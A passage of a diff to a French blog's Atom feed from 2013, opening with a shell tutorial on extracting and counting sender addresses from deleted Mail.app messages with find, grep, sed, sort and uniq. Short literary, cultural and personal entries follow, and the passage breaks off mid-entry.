+X-Sender: fixngo@publicite-par-email.com
+</code></pre>
+
+<p>Nous voulons aussi probablement extraire uniquement l'adresse de courrier électronique. C'est à dire tout ce qui se trouve entre les caractères <code>&lt;</code> et <code>&gt;</code>. Nous allons utiliser <code>sed</code> et <code>regex</code> pour substituer des chaînes de caractères.</p>
+
+<pre><code>sed -e "s/CHERCHER/REMPLACER/"
+</code></pre>
+
+<p>Nous recherchons le début de ligne <code>^</code>, suivi de n'importe quel caractère <code>.*</code>, suivi du caractère <code>&lt;</code>. Puis nous voulons trouver n'importe quel caractère mais en groupe <code>(.*)</code>. Cependant les paranthèses pour prendre leur significations de groupes doivent être précédées de <code>\</code>. Et finalement le caractère <code>&gt;</code> marquant la fin de l'adresse électronique. Le groupe que nous avons trouvé, c'est que nous allons gardé avec <code>\1</code> (le nombre dépend de la position du groupe). Nous n'avons ici qu'un seul groupe.</p>
+
+<pre><code>^.*&lt;\(.*\)&gt;/\1/"
+</code></pre>
+
+<p>Remettons tous cela ensemble.</p>
+
+<pre><code>find ~/Library/Mail/V2/Mailboxes/Deleted\ Messages* -type f -print0 -name *emlx |xargs -0 grep -h -i "^From:\|^Sender:\|^X-Sender:" | grep "@" | sed -e "s/^.*&lt;\(.*\)&gt;/\1/"
+</code></pre>
+
+<p>Mais que se passe-t-il si la chaîne de caractères ne contient pas <code>&lt;</code> et <code>&gt;</code> comme par exemple :</p>
+
+<pre><code>X-Sender: fixngo@publicite-par-email.com
+</code></pre>
+
+<p>Il nous faut traiter ce cas aussi. Ajoutons un <code>sed</code>.</p>
+
+<pre><code>find ~/Library/Mail/V2/Mailboxes/Deleted\ Messages* -type f -print0 -name *emlx |xargs -0 grep -h -i "^From:\|^Sender:\|^X-Sender:" | grep "@" | sed -e "s/^.*&lt;\(.*\)&gt;/\1/" | sed -e "s/^.* //"
+</code></pre>
+
+<p>La liste cette fois-ci devient :</p>
+
+<pre><code>kelly.tiffany@hulusarah.com
+ups-services@ups.com
+dest_inmac@pky-events.fr
+news@deal-comunikis.com
+news@deal-comunikis.com
+fixngo@publicite-par-email.com
+</code></pre>
+
+<h2 id="trier-la-liste-et-eliminer-les-doublons">Trier la liste et éliminer les doublons</h2>
+
+<p>La liste peut vite devenir longue et contenir de nombreux doublons. La commande <code>sort</code> permet de trier.</p>
+
+<pre><code>find ~/Library/Mail/V2/Mailboxes/Deleted\ Messages* -type f -print0 -name *emlx |xargs -0 grep -h -i "^From:\|^Sender:\|^X-Sender:" | grep "@" | sed -e "s/^.*&lt;\(.*\)&gt;.*/\1/" | sed -e "s/^.* //" | sort
+</code></pre>
+
+<p>Cela m'a donné un résultat intéressant qui m'a permis d'identifier une erreur.</p>
+
+<pre><code>sort: string comparison failed: Illegal byte sequence
+sort: Set LC_ALL='C' to work around the problem.
+sort: The strings compared were `ups-services@ups.com' and `L\351ana &lt;vacancesfpp@kiwost.net&gt;'.
+</code></pre>
+
+<p>Corrigeons tout d'abord le message d'erreur de <code>sort</code>. La comparaison de chaînes de caractères se réalise en fonction de la configuration de mon terminal qui est pour l'instant.</p>
+
+<pre><code>→ echo $LC_ALL
+fr_FR.utf-8
+</code></pre>
+
+<p>Le message d'erreur recommande LC_ALL='C' pour la commande <code>sort</code> dans ce cas. Nous pouvons l'injecter au moment de l'éxécution.</p>
+
+<pre><code>find ~/Library/Mail/V2/Mailboxes/Deleted\ Messages* -type f -print0 -name *emlx |xargs -0 grep -h -i "^From:\|^Sender:\|^X-Sender:" | grep "@" | sed -e "s/^.*&lt;\(.*\)&gt;.*/\1/" | sed -e "s/^.* //" | LC_ALL='C' sort
+</code></pre>
+
+<p>Nous obtenons une liste triée en effet, <strong>mais…</strong> ce n'est pas satisfaisant pour autant. Ajoutons un <code>| grep "vacancesfpp@kiwost.net"</code> qui était la chaîne de caractères posant problème. Le résultat est </p>
+
+<pre><code>L?ana &lt;vacancesfpp@kiwost.net&gt;
+</code></pre>
+
+<p>Cela signifie que notre <code>sed</code> n'a pas fonctionné non plus quand le champs contient des caractères étranges (non UTF-8). Il nous faut donc placer le LC_ALL='C' en amont.</p>
+
+<pre><code>find ~/Library/Mail/V2/Mailboxes/Deleted\ Messages* -type f -print0 -name *emlx |xargs -0 grep -h -i "^From:\|^Sender:\|^X-Sender:" | grep "@" | LC_ALL='C' sed -e "s/^.*&lt;\(.*\)&gt;.*/\1/" | sed -e "s/^.* //" | sort
+</code></pre>
+
+<p>nous donne bien une liste ordonnée sans erreurs, mais cette fois-ci si je recommence le <code>| grep "vacancesfpp@kiwost.net"</code>, j'obtiens :</p>
+
+<pre><code>vacancesfpp@kiwost.net
+</code></pre>
+
+<p>Nous pouvons finalement rendre unique chaque adresse de la liste avec <code>uniq</code></p>
+
+<pre><code>find ~/Library/Mail/V2/Mailboxes/Deleted\ Messages* -type f -print0 -name *emlx |xargs -0 grep -h -i "^From:\|^Sender:\|^X-Sender:" | grep "@" | LC_ALL='C' sed -e "s/^.*&lt;\(.*\)&gt;.*/\1/" | sed -e "s/^.* //" | sort | uniq
+</code></pre>
+
+<p>Si vous désirez compter combien d'occurences de chaque adresse il suffit d'ajouter <code>-c</code></p>
+
+<pre><code>find ~/Library/Mail/V2/Mailboxes/Deleted\ Messages* -type f -print0 -name *emlx |xargs -0 grep -h -i "^From:\|^Sender:\|^X-Sender:" | grep "@" | LC_ALL='C' sed -e "s/^.*&lt;\(.*\)&gt;.*/\1/" | sed -e "s/^.* //" | sort | uniq -c
+</code></pre>
+
+<h2 id="pourquoi">Pourquoi ?</h2>
+
+<p>Je voulais partager ceci, car j'ai appris</p>
+
+<ul>
+<li><code>find -print0</code>/<code>xargs -0</code></li>
+<li>injection d'un paramètre de terminal au sein de la chaîne de commandes <code>LC_ALL='C'</code></li>
+</ul>
+
+<p>Et que je me suis dit que cela pouvait être utile à d'autres aussi.</p>
+
+</article>
+</div>
+ </content>
+ <link rel="license" href="http://creativecommons.org/licenses/by/2.0/fr/"/>
+</entry>
+
+<entry>
+ <id>tag:la-grange.net,2013-03-03:2013/03/03/surveillance</id>
+ <link rel="alternate" type="text/html" href="http://www.la-grange.net/2013/03/03/surveillance"/>
+ <title>Surveiller la surveillance</title>
+ <published>2013-03-03T23:59:00Z</published>
+ <updated>2013-03-27T17:57:44Z</updated>
+ <content type="xhtml">
+ <div xmlns="http://www.w3.org/1999/xhtml"><article>
+<figure>
+ <img src="/2013/03/03/4506-cctv" alt="Sticker pour une caméra de surveillance"/>
+ <figcaption>3 mars 2013, Montréal, Canada</figcaption>
+</figure>
+
+<div class="extrait">
+ <blockquote lang="en">
+ <p>The self-feeding, self-imaging, and environmental surveillance capabilities of closed-circuit television provide for some artists a means of engaging the phenomenon of communication and perception in a turly empirical fashion similar to scientific experimentation.</p>
+ </blockquote>
+ <p class="source"><span class="auteur">Gene Youngblood</span>, <cite class="titre">Expanded Cinema</cite>.</p>
+</div>
+
+<p>Lorsqu'un phénomème est généralisé, il devient très difficile de le combattre et de le renverser. Être vigileant au tout début est nécessaire avant qu'il ne soit trop tard, et que nous nous sommes habitués au status quo.</p>
+
+</article>
+</div>
+ </content>
+ <link rel="license" href="http://creativecommons.org/licenses/by/2.0/fr/"/>
+</entry>
+
+<entry>
+ <id>tag:la-grange.net,2013-03-01:2013/03/01/tradition</id>
+ <link rel="alternate" type="text/html" href="http://www.la-grange.net/2013/03/01/tradition"/>
+ <title>Le spectacle de la tradition</title>
+ <published>2013-03-01T23:59:00Z</published>
+ <updated>2013-03-27T17:41:49Z</updated>
+ <content type="xhtml">
+ <div xmlns="http://www.w3.org/1999/xhtml"><article>
+<figure>
+ <img src="/2013/01/01/journal-nouvel-an" alt="deux publicités côte à côte"/>
+ <figcaption>1er janvier 2013, Tsujido, Japon</figcaption>
+</figure>
+
+<div class="extrait">
+ <blockquote>
+ <p>The nature of these encounters exposes and frees us from a range of aesthetic and cultural conventions.</p>
+ </blockquote>
+ <p class="source"><span class="auteur">Carolee Schneemann</span>, <cite class="titre">Kinetic Theatre</cite>.</p>
+</div>
+
+<p>Deux publicités dans le journal du nouvel an, l'une pour les soldes d'un magasin local, l'autre pour une chaîne de hamburgers. Les deux utilisent des éléments de la tradition. Que ce soit à gauche une illustration à la façon des u-kiyoe, à droite un autel.</p>
+
+<p>Le détournement de référents culturels invitent au spectacle de la tradition. Quand acceptons-nous le détournement d'une authenticité de la culture et quand sommes nous choqués ? Qu'est-ce que cela dit sur notre attitude prétentieuse face à la culture ?</p>
+
+</article>
+</div>
+ </content>
+ <link rel="license" href="http://creativecommons.org/licenses/by/2.0/fr/"/>
+</entry>
+
+<entry>
+ <id>tag:la-grange.net,2013-03-23:2013/03/23/relire</id>
+ <link rel="alternate" type="text/html" href="http://www.la-grange.net/2013/03/23/relire"/>
+ <title>Relire en numérique</title>
+ <published>2013-03-23T12:39:00Z</published>
+ <updated>2013-03-23T13:38:15Z</updated>
+ <content type="xhtml">
+ <div xmlns="http://www.w3.org/1999/xhtml"><article>
+<figure>
+ <img src="/2006/06/23/7180-texte" alt="Goutte d'eau sur le texte d'un livre"/>
+ <figcaption>23 juin 2006, Montréal, Canada</figcaption>
+</figure>
+
+<div class="extrait">
+ <blockquote cite="urn:isbn:2-07-073121-9">
+ <p>Sachant que les éditeurs acceptaient de vendre au détail, par la suite je suis allé acheter directement à la maison Teikoku Bunko qui les publiait le Hakkenden et le Taiheiki (« Chronique de la Paix parfaite »).</p>
+ </blockquote>
+ <p class="source"><span class="auteur">Junichiro Tanizaki</span>, <cite class="titre">Mes années d'enfance</cite>.</p>
+</div>
+
+<p>Si vous vous intéressez au monde du livre et que vous avez accès à Internet, vous êtes au courant du dernier drame en cours : <a href="http://twitter.com/search?q=%23OeuvresIndis">Relire</a>, un <a href="http://relire.bnf.fr/accueil">projet</a> de la BNF pour remettre en circulation commerciale certains <a href="http://www.figoblog.org/node/2013">ouvrages indisponibles</a> au format numérique. Comme dans tout projet d'envergure, il y a des ratés qui bien sûr créent de la <a href="http://www.bodyspacesociety.eu/2013/03/23/la-bnf-guy-debord-et-le-spectacle-schizophrene-du-droit-dauteur/">colère</a>, du <a href="http://www.tierslivre.net/spip/spip.php?article3447">sentiment de dépouillement</a>. En effet, certains des ouvrages sont déjà disponibles au format numérique et se retrouvent donc dans la liste par erreur. Vous pouvez vous aussi <a href="http://relire.bnf.fr/recherche">rechercher</a> les titres candidats à la numérisation et commercialisation.</p>
+
+<p>Je ne donnerai ici que ma position de <a href="/2012/11/26/lire-ecrire">lecteur-auteur</a> qui a une dent contre la <strong>propriété intellectuelle</strong>. Ma culture est celle de l'opensource et des technologies Web ouvertes, celle où notre travail est mis en valeur quand il est repris, modifié, copié par les autres. C'est une <a href="http://n.survol.fr/n/et-si-on-reformait-le-droit-dauteur-oui-encore">philosophie différente</a>. Et n'en déplaise à certains, <strong>c'est un choix</strong> de ne pas vivre de la propriété intellectuelle. Ce n'est pas de la chance.</p>
+
+<h2 id="enjeux">Les enjeux</h2>
+
+<p>Il y a plusieurs enjeux avec la démarche de la BNF.</p>
+
+<p>Il s'agit d'un « opt-out » et non pas d'un « opt-in. » C'est un problème en soi, car cela donne l'obligation aux auteurs vivants de savoir que quelquechose a été fait avec leur propre travail. Toutes les solutions qui forcent un individu, une personne dans un système sont anormales.</p>
+
+<p>La commercialisation et l'identification des auteurs pour le « opt-out » sont deux choses que je trouve étrange. Si la BNF commercialise et réalise une gestion collective des œuvres, c'est qu'elle s'apprête à reverser l'argent de cette recommercialisation aux auteurs… donc ils sont identifiés et/ou identifiables. Pourquoi alors un auteur pour s'opposer au versement de son œuvre dans le catalogue devrait s'identifier ? Je dois raté une partie de la logique.</p>
+
+<p>J'ai des doutes sur l'intérêt des œuvres proprosées dans ce catalogue. En faisant une courte recherche, je n'ai rien trouvé qui me fasse dire « Ah oui fabuleux, c'est absolument nécessaire. » Comment le catalogue a été constitué, quelle a été la démarche dans le choix des œuvres serait intéressant à connaître. Mais j'en reparle dans les <a href="#desir">désirs</a>.</p>
+
+<h2 id="desir">Les désirs</h2>
+
+<p>Mettre en circulation numérique des œuvres qui ne sont plus imprimées, le lecteur qui est en moi applaudit haut et fort. Les stratégies commerciales des éditeurs et/ou auteurs qui se réservent sous le coude des titres et/ou qui ne vont pas assez vite pour remettre des titres en circulation m'exaspère. C'est mon désir de lecteur. Combien de temps faudra-t-il encore attendre pour avoir <a href="https://fr.wikipedia.org/wiki/Gaston_Bachelard">Gaston Bachelard</a> au format numérique. D'ailleurs si vous êtes éditeur numérique au Canada, Gaston, mort le 16 octobre 1962, est dans le domaine public.</p>
+
+<p>Le choix… Ce que j'aurais aimé. Un formulaire Web sur le site de la BNF qui me permet de définir ce que j'aimerais lire en version numérique. Toutes les semaines, il y a au moins un ouvrage que j'aimerais avoir au format numérique et qui est introuvable. Créer ce catalogue <strong>sur la base de la demande</strong> est à mon avis plus important. Cela permet également d'être dans une démarche différente de devoir contacter l'auteur s'il est vivant ou ses ayants-droits si le livre n'est pas encore dans le domaine public.</p>
+
+<p>Le domaine public. Le <a href="http://www.gutenberg.org/">projet gutenberg</a> réalise un travail fabuleux de mises à disposition des œuvres du domaine public. <a href="http://archive.org/search.php?query=mediatype%3Atexts">Archive.org</a> est un autre de ces projets magnifiques. Il est par exemple possible de lire les <a href="http://archive.org/details/uvresdemdevoltai01volt">œuvres de Voltaire</a> (le ePub est disponible, la qualité pas toujours au rendez-vous, mais c'est un premier pas). Gallica donne aussi accès à certaines œuvres, comme <a href="http://gallica.bnf.fr/Search?adva=1&amp;adv=1&amp;tri=title_sort&amp;t_relation=%22Notice+d%27ensemble+%3A+http%3A%2F%2Fcatalogue.bnf.fr%2Fark%3A%2F12148%2Fcb31602455d%22&amp;q=voltaire&amp;lang=en">Voltaire</a>, pas toujours facile d'accès cependant. Cela mériterait un catalogue à la <a href="http://openlibrary.org/search?q=voltaire&amp;author_key=OL32293A&amp;person_facet=Voltaire+%281694-1778%29">openlibrary</a>. Ou encore <a href="http://fr.wikisource.org/wiki/Accueil">wikisource</a>.</p>
+
+<h2 id="drame">Drame internet</h2>
+
+<p>Pas une semaine, et même parfois un jour, sans que les gens sur Internet passent au nucléaire. Je suis très content que nous n'ayons pas tous un bouton rouge à la maison. Cela ne prendrait que quelques nano-secondes avant de tous se foutre en l'air. Je rêve d'une société où nous pouvons être en désaccord, où nous pouvons en discuter, sans créer une lutte de clans à mort, avec des propos très violents. Je rêve d'une humanité joyeuse.</p>
+
+</article>
+</div>
+ </content>
+ <link rel="license" href="http://creativecommons.org/licenses/by/2.0/fr/"/>
+</entry>
+
+
+
+<entry>
+ <id>tag:la-grange.net,2013-03-20:2013/03/20/courrier</id>
+ <link rel="alternate" type="text/html" href="http://www.la-grange.net/2013/03/20/courrier"/>
+ <title>Définir les attentes</title>
+ <published>2013-03-20T23:59:00Z</published>
+ <updated>2013-03-21T14:12:21Z</updated>
+ <content type="xhtml">
+ <div xmlns="http://www.w3.org/1999/xhtml"><article>
+<figure>
+ <img src="/2013/03/03/4489-prise" alt="Prise électrique rouge"/>
+ <figcaption>3 mars 2013, Montréal, Canada</figcaption>
+</figure>
+
+<div class="extrait">
+ <blockquote cite="urn:isbn:2-07-073121-9">
+ <p>Il ne doit plus rester dans la ville de Tokyo beaucoup de sanctuaires shintoistes pourvus du petit théâtre spécialement édifié pour les danses sacrées ; et les cérémonies rituelles elles-mêmes où l'on exécute ces dances pour la fête du temple ou quelque solennité doivent être en nombre bien réduit.</p>
+ </blockquote>
+ <p class="source"><span class="auteur">Junichiro Tanizaki</span>, <cite class="titre">Mes années d'enfance</cite>.</p>
+</div>
+
+<p>Un interlocuteur distant est bien souvent incapable de deviner vos intentions ou vos attentes, spécifiquement dans le cas d'une communication asynchrone comme le courrier électronique. De plus en plus souvent, au début de mes messages professionnels (et parfois personnel), je définis mes attentes ou mes intentions pour éviter les incompréhensions du non-dit. La phrase la plus courante que j'emploie est du type suivant : « Je n'attends pas de réponse immédiate. » ou encore « Il n'est pas obligatoire de répondre. » Ceci pour enlever la pression que certaines personnes ressentent quand elles reçoivent un courrier électronique. Vous pourriez me répondre dans trois ans ou jamais que cela peut me convenir. Tout dépend du contexte et des circonstances.</p>
+
+<p>Rendre la communication plus douce sans avoir le besoin de l'immédiate connexion.</p>
+
+</article>
+</div>
+ </content>
+ <link rel="license" href="http://creativecommons.org/licenses/by/2.0/fr/"/>
+</entry>
+
+<entry>
+ <id>tag:la-grange.net,2013-03-19:2013/03/19/recette</id>
+ <link rel="alternate" type="text/html" href="http://www.la-grange.net/2013/03/19/recette"/>
+ <title>Recettes de cuisine en Normandie</title>
+ <published>2013-03-20T02:11:00Z</published>
+ <updated>2013-03-20T02:21:47Z</updated>
+ <content type="xhtml">
+ <div xmlns="http://www.w3.org/1999/xhtml"><article>
+<figure>
+ <img src="/2013/03/19/recettes-normandie" alt="Détails"/>
+ <figcaption>Carte gastronomique de la France</figcaption>
+</figure>
+
+<div class="extrait">
+ <blockquote cite="urn:isbn:2-07-073121-9">
+ <p>On va aller se régaler de bonnes nouilles de sarrasin du « Fuyuki », au marché au riz.</p>
+ </blockquote>
+ <p class="source"><span class="auteur">Junichiro Tanizaki</span>, <cite class="titre">Mes années d'enfance</cite>.</p>
+</div>
+
+<p>Les <a href="http://www.nla.gov.au/apps/cdview/?pi=nla.map-vn4769090-sd&amp;rgn=0.3921245232,0.1291910181,0.5158231110,0.2522300831&amp;width=1200&amp;cmd=zoomout">cartes</a> donnent à rêver des parfums de l'enfance.</p>
+
+<ul>
+ <li>L'andouillette de Rouen</li>
+ <li>La pâtisserie rouennaise</li>
+ <li>Le sucre de pommes</li>
+ <li>La brioche rouennaise</li>
+ <li>L'alose à la crème</li>
+ <li>Le canard de Duclair</li>
+ <li>Truites grillées à la crème</li>
+ <li>Les saucisses en gelée</li>
+ <li>Les andouillettes</li>
+ <li>Les Mirlitons</li>
+ <li>Les truites de l'Andelle</li>
+ <li>La poularde flambée</li>
+ <li>…</li>
+</ul>
+
+</article>
+</div>
+ </content>
+ <link rel="license" href="http://creativecommons.org/licenses/by/2.0/fr/"/>
+</entry>
+
+
+<entry>
+ <id>tag:la-grange.net,2013-02-27:2013/02/27/ville-brouillard</id>
+ <link rel="alternate" type="text/html" href="http://www.la-grange.net/2013/02/27/ville-brouillard"/>
+ <title>La ville humaine</title>
+ <published>2013-02-27T23:59:00Z</published>
+ <updated>2013-03-18T23:53:21Z</updated>
+ <content type="xhtml">
+ <div xmlns="http://www.w3.org/1999/xhtml"><article>
+<figure>
+ <img src="/2013/02/23/4408-tour" alt="femme volante et tour de bureaux"/>
+ <figcaption>Montréal, Canada, 23 février 2013</figcaption>
+</figure>
+
+<div class="extrait">
+ <blockquote cite="urn:isbn:2-232-10452-4">
+ <p>J'aurais pu perdre les couleurs<br/>
+ Qui m'imposaient d'être moi-même et ce que j'aime</p>
+ </blockquote>
+ <p class="source"><span class="auteur">Paul Eluard</span>, <cite class="titre">Écrire dessiner inscrire</cite>.</p>
+</div>
+
+<p>En bas, il y a la ville néon, la saleté, les rêves brisés, la foule qui se sert, les pieds mouillés et l'envie de recommencer. Tout en haut, il y a les tours, les complet-vestons, la photocopieuse, la moquette grise, le cubicule et l'envie de tout quitter. En haut, ils rêvent du bas. En bas, ils rêvent du haut.</p>
+
+</article>
+</div>
+ </content>
+ <link rel="license" href="http://creativecommons.org/licenses/by/2.0/fr/"/>
+</entry>
+
+<entry>
+ <id>tag:la-grange.net,2013-02-26:2013/02/26/cloche</id>
+ <link rel="alternate" type="text/html" href="http://www.la-grange.net/2013/02/26/cloche"/>
+ <title>Le silence</title>
+ <published>2013-02-26T23:59:00Z</published>
+ <updated>2013-03-18T23:25:48Z</updated>
+ <content type="xhtml">
+ <div xmlns="http://www.w3.org/1999/xhtml"><article>
+<figure>
+ <img src="/2013/02/24/4412-bell" alt="sigle Bell"/>
+ <figcaption>Montréal, Canada, 24 février 2013</figcaption>
+</figure>
+
+<div class="extrait">
+ <blockquote cite="urn:isbn:2-232-10452-4">
+ <p>Elle surgissait de ses ressemblances<br/>
+ Et de ses contraires</p>
+ </blockquote>
+ <p class="source"><span class="auteur">Paul Eluard</span>, <cite class="titre">À l'infini</cite>.</p>
+</div>
+
+<p>Les églises ne sonnent plus le rythme de la journée. La ville est silencieuse. L'horloge est dans la main. Ce temps là a bien disparu.</p>
+
+</article>
+</div>
+ </content>
+ <link rel="license" href="http://creativecommons.org/licenses/by/2.0/fr/"/>
+</entry>
+
+
+<entry>
+ <id>tag:la-grange.net,2013-02-28:2013/02/28/neige</id>
+ <link rel="alternate" type="text/html" href="http://www.la-grange.net/2013/02/28/neige"/>
+ <title>Pas un flocon</title>
+ <published>2013-02-28T23:59:00Z</published>
+ <updated>2013-03-18T23:14:16Z</updated>
+ <content type="xhtml">
+ <div xmlns="http://www.w3.org/1999/xhtml"><article>
+<figure>
+ <img src="/2013/02/28/4465-neige" alt="branches sous la neige"/>
+ <figcaption>Montréal, Canada, 28 février 2013</figcaption>
+</figure>
+
+<div class="extrait">
+ <blockquote cite="urn:isbn:2-232-10452-4">
+ <p>Notre printemps est un printemps qui a raison.</p>
+ </blockquote>
+ <p class="source"><span class="auteur">Paul Eluard</span>, <cite class="titre">Printemps</cite>.</p>
+</div>
+
+<p>Le bruit des mots ne survit pas sous la neige, pas un flocon pour crier la beauté de l'hiver.</p>
+
+</article>
+</div>
+ </content>
+ <link rel="license" href="http://creativecommons.org/licenses/by/2.0/fr/"/>
+</entry>
+
+
+<entry>
+ <id>tag:la-grange.net,2013-03-02:2013/03/02/regard</id>
+ <link rel="alternate" type="text/html" href="http://www.la-grange.net/2013/03/02/regard"/>
+ <title>L'ombre d'un regard</title>
+ <published>2013-03-02T23:59:00Z</published>
+ <updated>2013-03-18T21:59:30Z</updated>
+ <content type="xhtml">
+ <div xmlns="http://www.w3.org/1999/xhtml"><article>
+<figure>
+ <img src="/2013/03/02/4478-ombre" alt="Deux ombres sur la neige"/>
+ <figcaption>Montréal, Canada, 2 mars 2013</figcaption>
+</figure>
+
+<div class="extrait">
+ <blockquote cite="urn:isbn:2-232-10452-4">
+ <p>Deux ombres une seule nuit<br/>
+ Définitive les coquins<br/>
+ Avaient raison de raisonner</p>
+ </blockquote>
+ <p class="source"><span class="auteur">Paul Eluard</span>, <cite class="titre">Grandeur d'hier et d'aujourd'hui</cite>.</p>
+</div>
+
+<p>Entre les flocons, nous nous regardons.</p>
+
+</article>
+</div>
+ </content>
+ <link rel="license" href="http://creativecommons.org/licenses/by/2.0/fr/"/>
+</entry>
+
+<entry>
+ <id>tag:la-grange.net,2013-02-25:2013/02/25/avion</id>
+ <link rel="alternate" type="text/html" href="http://www.la-grange.net/2013/02/25/avion"/>
+ <title>L'écran et la piste</title>
+ <published>2013-02-25T23:59:00Z</published>
+ <updated>2013-03-18T21:35:37Z</updated>
+ <content type="xhtml">
+ <div xmlns="http://www.w3.org/1999/xhtml"><article lang="en">
+<figure>
+ <img src="/2013/02/25/adler" alt="Avion de Adler"/>
+ <figcaption>L'Aérophile nº8, août 1899</figcaption>
+</figure>
+
+<div class="extrait">
+ <blockquote cite="urn:isbn:2-07-073121-9">
+<p>Le Comité de la classe 34 (aérostation), a tenu sa seconde séance dans le laboratoire d'aérostation de M. Ader, sis à Auteuil. Cette heureuse circonstance nous a permis de visiter en détail l'<i>Avion</i> dans la construction duquel le célèbre électricien a dépensé tant de peine, de talent et d'argent. L'appareil qui sera un des clous de l'Exposition d'électricité a été mis en mouvement avec une force motrice égale au tiers de celle qui est nécessaire pour qu'il quitte le sol, comme il l'a fait au camp de Satory. Ces expériences ne pourront être renouvelées à l'Exposition à cause du danger d'incendie provenant de l'introduction de machines à vapeur dans les galeries du Palais consacré à la classe 34.</p>
+
+<p>L'<i>Avion</i> se compose de deux machines à vapeur d'une force de 40 chevaux chacune, et actionnant chacune une hélice motrice placée à l'avant. Les deux hélices sont à axes parallèles et disposées de sorte que leurs mouvements combinés donnent naissance à une propulsion en avant quoiqu'elles tournent en sens inverse.</p>
+
+<p>Les deux machines sont verticales et chauffées avec de l'alcool contenu dans deux réservoirs, entre lesquelles l'aviateur prend place sur un siége ; une paire de bretelles l'empêche de tomber dans le vide et fait l'office de garde-fou.</p>
+
+<p>Au-dessus de la tête de l'aviateur se trouve le condenseur de la vapeur, organe qui paraît fonctionner admirablement car on ne voyait aucune trace de buée troubler la transparence de l'air dans la salle où avait lieu la démonstration.</p>
+
+<p>A l'arrière, se trouvait le gouvernail et à droite et à gauche une manivelle pour faire varier la surface d'une des deux moitiés du parachute dont l'ensemble est destiné à soutenir l'<i>Avion</i> lorsqu'il vole en pleine atmosphère.</p>
+
+<p>Comme la vitesse de chaque hélice peut varier à volonté, on voit que l'aviateur possède tous les moyens désirables pour maintenir l'appareil en équilibre. L'action produite sur l'air était très énergique, et les spectateurs avaient besoin de résister avec une certaine énergie au mouvement d'aspiration qui se produisait pour ne pas être entraînés. Le poids total de l'appareil, non compris la provision d'alcool et d'eau ainsi que le poids de l'aviateur et de son bagage personnel, est de 256 kilogs.</p>
+
+<p>Il est clair que l'atterrissage est une des grandes difficultés du système, car un choc peut tout disloquer comme il est arrivé à Satory. L'inventeur attribue cette catastrophe à la direction rectiligne donnée aux quatre roulettes sur lesquelles l'appareil repose.</p>
+
+<p>Des sommes énormes ont été dépensées par M. Ader pour la construction de l'appareil grandeur d'exécution qu'il explosera en 1900 aux regards du public, à côté de l'<i>Avion</i> dont nous avons étudié le mécanisme, on en voyait un autre, un peu plus ancien, qui avait son parachute replié, afin de montrer comment après une expérience on peut le transporter sur les voies ferrées.</p>
+
+<p>Cette construction représente un grand effort qui sera frappé de stérilité, si M. Ader ne trouve les secours financiers dont il a besoin pour continuer ses travaux.</p>
+
+<p>En se retirant, le Comité a félicité M. Ader qui en fait partie, de sa persévérance et du succès avec lequel il a triomphé d'innombrables difficultés qu'il a rencontrées dans l'exécution de son <i>Avion</i> ; mais il n'avait point à se prononcer sur l'avenir du plus lourd que l'air.</p>
+ </blockquote>
+ <p class="source"><span class="auteur">Paul Ancelle</span>, <cite class="titre">L' « avion » de M. Adler, L'Aérophile nº8, août 1899</cite>.</p>
+</div>
+
+<p>Boston. Le 17 janvier 2013. Le grain bleuté de l'écran. Je ne suis pas dans la cabine. La piste est en face de moi. Enfin, l'image de la piste. Tout finira par s'accélérer, par nous quitter. Ce n'est pas de la transparence, ni de l'invitation au rêve. Et pourtant, je rêve. L'image de mauvaise qualité, la vibration de la carlingue, la poussée dans le siège, mon reflet dans les pixels.</p>
+
+<p>Mon reflet dans les pixels…</p>
+
+<figure>
+ <img src="/2013/01/17/13010059-piste" alt="Écran dans l'avion"/>
+ <figcaption>Boston, États-Unis, 17 janvier 2013</figcaption>
+</figure>
+
+</article>
+</div>
+ </content>
+ <link rel="license" href="http://creativecommons.org/licenses/by/2.0/fr/"/>
+</entry>
+
+
+<entry>
+ <id>tag:la-grange.net,2013-03-16:2013/03/16/sakhaline</id>
+ <link rel="alternate" type="text/html" href="http://www.la-grange.net/2013/03/16/sakhaline"/>
+ <title>Le voyage de Tchekhov</title>
+ <published>2013-03-16T23:59:00Z</published>
+ <updated>2013-03-18T20:20:47Z</updated>
+ <content type="xhtml">
+ <div xmlns="http://www.w3.org/1999/xhtml"><article lang="en">
+<figure>
+ <img src="/2013/03/16/13030026-sakhaline" alt="Intérieur d'un livre et sa fiche de circulation"/>
+ <figcaption>Montréal, Canada, 16 mars 2013</figcaption>
+</figure>
+
+<div class="extrait">
+ <blockquote cite="urn:isbn:2-07-073121-9">
+ <p>« Shimizuya », le magasin d'estampes et de livres illustrés au coin de Ningyocho s'approvisionnait alors abondamment en images de la guerre déployées en triptyques. Suspendues et exposées en vitrtine pour la vente, elles étaient essentiellement dues au pinceau de trois artistes : Toshikata Mizumo, Gekko Ogata, et Kiyochika Kobayashi. Tous les gamins en raffolaient sans être, sauf de rares exceptions, en mesure de les acheter et, jour après jour, ils se contentaient de rester plantés devant le magasin, le regard brillant, littéralement fascinés.</p>
+ </blockquote>
+ <p class="source"><span class="auteur">Junichiro Tanizaki</span>, <cite class="titre">Mes années d'enfance</cite>.</p>
+</div>
+
+<p>Dans les rayons voyage de la <a href="http://www.banq.qc.ca/accueil/">grande bibliothèques de Québec</a>, je découvre par hasard un livre intitulé <cite>L'île de Sakhaline</cite>. En l'ouvrant, il y a encore la fiche de circulation de l'ouvrage avec les dates de prêts. Ce voyage là semble débuter le 22 juin 1973 et se terminer le 21 septembre 2004. Malheureusement, il n'est pas disponible sur <a href="https://fr.wikisource.org/wiki/Auteur:Anton_Tchekhov">wikisource</a>. J'avais déjà envie de <a href="http://asautsetagambades.hautetfort.com/archive/2009/08/17/lettres-de-voyage-anton-tchekhov.html">voyager</a> un peu plus longtemps avec <a href="http://textespretextes.blogs.lalibre.be/archive/2009/12/30/tchekhov-1893-1904.html">Tchekhov</a>.</p>
+
+<p>Il est difficile d'aller à la bibliothèque sans vouloir y rester des heures à rêver entre les falaises.</p>
+
+</article>
+</div>
+ </content>
+ <link rel="license" href="http://creativecommons.org/licenses/by/2.0/fr/"/>
+</entry>
+
+
+<entry>
+ <id>tag:la-grange.net,2013-03-18:2013/03/18/qinghua</id>
+ <link rel="alternate" type="text/html" href="http://www.la-grange.net/2013/03/18/qinghua"/>
+ <title>Un parfum de Chine</title>
+ <published>2013-03-18T18:59:00Z</published>
+ <updated>2013-03-18T19:26:33Z</updated>
+ <content type="xhtml">
+ <div xmlns="http://www.w3.org/1999/xhtml"><article lang="en">
+<figure>
+ <img src="/2013/03/17/4534-beignets" alt="Beignets chinois"/>
+ <figcaption>Montréal, Canada, 17 mars 2013</figcaption>
+</figure>
+
+<div class="extrait">
+ <blockquote cite="urn:isbn:2-07-073121-9">
